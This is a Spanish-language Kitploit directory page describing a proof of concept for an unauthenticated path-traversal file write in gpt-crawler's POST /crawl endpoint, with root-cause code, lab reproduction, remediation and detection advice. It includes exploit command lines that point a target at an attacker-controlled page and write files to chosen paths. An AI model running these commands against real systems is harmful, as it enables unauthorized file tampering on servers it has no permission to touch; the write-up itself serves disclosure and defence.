Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-82286-gpt-crawler-Arbitrary-File-Write — CVE-2026-82286 — gpt-crawler <=1.5.1 escritura arbitraria de archivos sin autenticación mediante outputFileName (POST /crawl). PoC + laboratorio Docker autónomo. CVSS 8.6, CWE-22. | Kitploit
Herramientas/GitHubGitHub/biitts/cve-2026-82286-gpt-crawler-arbitrary-file-write
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubbiitts/cve-2026-82286-gpt-crawler-arbitrary-file-write

CVE-2026-82286-gpt-crawler-Arbitrary-File-Write

CVE-2026-82286 — gpt-crawler <=1.5.1 escritura arbitraria de archivos sin autenticación mediante outputFileName (POST /crawl). PoC + laboratorio Docker autónomo. CVSS 8.6, CWE-22.

Ver Repositorio
hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-82286 — gpt-crawler Escritura Arbitraria de Archivos sin Autenticación

Prueba de concepto para una escritura arbitraria de archivos sin autenticación en BuilderIO/gpt-crawler (≈22k ★) a través del parámetro outputFileName del endpoint de API POST /crawl.

CVECVE-2026-82286
Productogpt-crawler (BuilderIO)
Afectado<= 1.5.1 (última versión; la HEAD de la rama predeterminada también está afectada)
ClasePath Traversal / Escritura Arbitraria de Archivos (CWE-22, CWE-73)
CVSS 3.18.6 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (ALTA)
AutenticaciónNinguna (sin autenticación)
PrecondiciónModo servidor API en ejecución (npm run start:server)
EstadoCONFIRMADO de extremo a extremo (sin parche al 2026-08-29)

Causa raíz

El servidor API (src/server.ts) expone POST /crawl sin autenticación. El cuerpo JSON se analiza directamente en la Config del crawler; outputFileName se valida solo como z.string() — no hay restricción de ruta:

root@kitploit:~
// src/config.ts
outputFileName: z.string(),

En src/core.ts, write() construye la ruta de salida directamente a partir de esa cadena controlada por el atacante y llama a fs.writeFile() sobre ella:

root@kitploit:~
// src/core.ts  (write)
const nextFileName = (): string =>
  `${config.outputFileName.replace(/\.json$/, "")}-${fileCounter}.json`;
...
await writeFile(nextFileNameString, JSON.stringify(currentResults, null, 2));

Por lo tanto, un atacante remoto sin autenticación controla la ruta completa de un archivo escrito fuera del área de salida prevista storage/ — mediante una ruta absoluta (/tmp/x, /home/<usuario>/x) o un traversal ../. El contenido del archivo es el resultado del rastreo [{title,url,html}], cuyos campos provienen de una página a la que el atacante apunta el crawler (establece url a un servidor que controles), por lo que el contenido está influenciado por el atacante.

La única restricción es el sufijo forzado -<N>.json (el nombre siempre termina en .json) y el envoltorio de contenido de matriz JSON — por eso esto se puntúa como escritura arbitraria de archivos (I:H), no como un RCE limpio.

Exploit

root@kitploit:~
python3 exploit.py \
  -t http://TARGET:3000 \
  -u http://ATTACKER:8081/index.html \   # página cuyo contenido termina en el archivo escrito
  -o /home/myuser/PWNED                    # -> escribe /home/myuser/PWNED-1.json

El endpoint refleja el contenido del archivo escrito en la respuesta HTTP. La prueba empírica es el archivo que aparece en la ruta elegida por el atacante en el sistema de archivos del objetivo (ver EVIDENCE.txt).

Reproducción

root@kitploit:~
cd lab && ./run.sh
python3 ../exploit.py -t http://127.0.0.1:3000 -u http://127.0.0.1:8081/index.html -o /tmp/PWNED
docker exec gptc-vuln cat /tmp/PWNED-1.json     # <- escrito fuera de storage/, sin autenticación

Limpieza: docker rm -f gptc-vuln; pkill -f 'http.server 8081'.

Impacto

Un atacante de red sin autenticación puede crear o sobrescribir archivos en rutas arbitrarias (sujeto a los permisos del usuario del proceso y al sufijo -<N>.json) con contenido parcialmente controlado por el atacante. Dependiendo del despliegue, esto permite manipular archivos de configuración/datos, sobrescribir el estado de la aplicación (integridad/disponibilidad) y, en objetivos que posteriormente consumen un archivo *.json escrito, puede encadenarse más allá.

Nota sobre la superficie afectada

El sumidero solo es alcanzable en el modo servidor API (src/server.ts, iniciado mediante npm run start:server / el despliegue containerapp), no en el modo CLI predeterminado. El servidor vincula API_HOST (predeterminado localhost); los despliegues reales que exponen la API lo establecen en 0.0.0.0 (como hace la imagen containerapp), lo que hace que el endpoint sea remotamente alcanzable.

Remediación

  • Resuelve outputFileName contra un directorio base fijo y rechaza el resultado si escapa de él (path.resolve(base, name) + verificación de prefijo); elimina .. y rutas absolutas.
  • Añade autenticación/autorización a POST /crawl.
  • Trata el nombre de archivo de salida del rastreo como controlado por el servidor, no proporcionado por el cliente.

Detección

Busca cuerpos de POST /crawl cuyo outputFileName contenga /, \ o .., y archivos *-1.json que aparezcan fuera del directorio storage/ del crawler.

Créditos

Investigación y PoC: Caio Fabrício (BiiTts).

Descargar herramienta